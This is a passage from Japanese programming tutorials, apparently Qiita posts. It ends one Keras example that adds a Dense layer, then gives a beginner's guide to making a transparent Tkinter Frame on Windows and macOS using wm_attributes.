            optimizer=tf.keras.optimizers.SGD(LEARNING_RATE), metrics=['accuracy'])

    cb = [tf.keras.callbacks.TensorBoard(log_dir=LOG_DIR)]
    model.fit(X_train, y_train, batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=cb, validation_data=(X_test, y_test))
    print(model.evaluate(X_test, y_test))
```

と書ける。単純に一行入れただけ。

```py
model.add(tf.keras.layers.Dense(FEATURE_DIM, activation='relu'))
```

ちゃんと動いている。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/127038/25e3e1f9-1492-be9b-f4f4-c00efd8645a7.png)
【Python】【TkInter】透明なFrameを生成する

はじめてのqiita投稿になります
知見の蓄積も兼ねて、これから不定期で投稿していこうと思います

## 環境

Python 3.7.0

## 透明なFrameを表示する

windowsとmacで表示させる方法は異なります
wm_attributes関数を使ってオプションを設定します

```python
from tkinter import ttk
import tkinter
import os

if os.name == "nt" :
    # windows10の場合
    root = tkinter.Tk()
    root.wm_attributes("-transparentcolor", "white")
    root.geometry("+300+300")

    ttk.Style().configure("TP.TFrame", background="white")
    f = ttk.Frame(master=root, style="TP.TFrame", width=300, height=300)
    f.pack()

    root.mainloop() 
elif os.name == "posix":
    # mac, windows7(cygwin)の場合

    # windows7のcygwin上で動かしている場合、以下が必要になります
    # os.environ['DISPLAY'] = ':0.0'

    root = tkinter.Tk() 
    root.wm_attributes("-transparent", True) 
    root.geometry("+300+300") 

    f = tkinter.Frame(root, width=300, height=300)
    f.configure(bg="systemTransparent")
    f.pack()

    root.mainloop() 

```

## 結果

![transparent.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282382/cb830557-f486-3bf6-c374-e83ce2f29ab0.png)